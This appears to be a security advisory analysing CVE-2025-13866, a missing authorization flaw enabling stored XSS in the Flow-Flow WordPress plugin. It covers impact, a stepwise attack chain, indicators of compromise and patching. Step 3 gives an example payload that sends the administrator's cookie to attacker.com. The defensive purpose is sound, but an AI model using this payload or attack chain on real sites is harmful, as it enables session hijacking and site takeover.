CVE-2025-13866: 
WordPress vulnerability analysis and mitigation

CVE-2025-13866 is a missing authorization vulnerability in the Flow-Flow Social Feed Stream plugin for WordPress, allowing authenticated attackers with Subscriber-level access or above to modify plugin settings and inject arbitrary JavaScript. The flaw affects plugin versions 3.0.0 through 4.7.5 and was disclosed on December 12, 2025. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is a missing capability check (CWE-862) on the flow_flow_social_auth AJAX action handler within the plugin. Because no authorization check validates whether the requesting user has sufficient privileges, any authenticated WordPress user — including those with the lowest default role (Subscriber) — can invoke this AJAX endpoint to modify plugin settings. The attacker can store arbitrary JavaScript in the plugin's settings, which then executes in the browser of any administrator who views the plugin settings page, constituting a Stored Cross-Site Scripting (XSS) attack vector. Relevant code paths are visible in the plugin's source at FFDBManager.php and FlowFlowActivator.php (Wordfence, Plugin Source - FFDBManager).

Successful exploitation allows a low-privileged authenticated attacker to persistently store malicious JavaScript that executes in the context of higher-privileged users (e.g., administrators) who visit the plugin settings page, resulting in session hijacking, credential theft, or further administrative account compromise. The scope is changed, meaning the impact extends beyond the attacker's own session to affect other users and potentially the entire WordPress site. Confidentiality and integrity are both impacted (low severity each per CVSS), while availability is not directly affected (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13866 as of the available data. The EPSS score is approximately 0.025% (0.000250), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at minimum Subscriber-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Flow-Flow Social Feed Stream plugin (versions 3.0.0–4.7.5) using tools like WPScan or by checking /wp-content/plugins/flow-flow-social-streams/ for version information.
2. Obtain low-privileged access: Register or obtain credentials for a Subscriber-level (or higher) WordPress account on the target site.
3. Craft malicious AJAX request: Authenticate to WordPress and send a crafted HTTP POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to flow_flow_social_auth and a payload containing arbitrary JavaScript (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded in a plugin settings field.
4. Trigger execution: Wait for an administrator to navigate to the plugin settings page in the WordPress admin panel, at which point the stored JavaScript executes in their browser session.
5. Achieve objective: Capture the administrator's session cookie or perform actions on their behalf (e.g., create a new admin account, install a malicious plugin) to achieve full site compromise (Wordfence, Plugin Source - FFDBManager).

• Network: Unusual POST requests from low-privileged user sessions to /wp-admin/admin-ajax.php with action=flow_flow_social_auth containing JavaScript payloads in the request body.
• Logs: WordPress access logs showing repeated AJAX calls to admin-ajax.php?action=flow_flow_social_auth from non-administrative user accounts; unexpected modification timestamps on plugin settings in the database.
• Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the Flow-Flow plugin settings table (typically wp_options with option names related to flow_flow).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.
• Process/Browser: Administrators experiencing unexpected redirects, pop-ups, or session anomalies when visiting the WordPress plugin settings page.

The vendor (looks_awesome) released a patched version of the Flow-Flow Social Feed Stream plugin — version 4.7.6 — which adds the missing capability check to the flow_flow_social_auth AJAX action. Site administrators should update the plugin to version 4.7.6 or later immediately via the WordPress plugin dashboard. As a temporary workaround, disabling the plugin until the update can be applied will eliminate the attack surface. Additionally, restricting user registration or limiting Subscriber-level accounts on the site reduces the risk of exploitation (Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as one of many plugin-level issues identified during that period (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified for this CVE.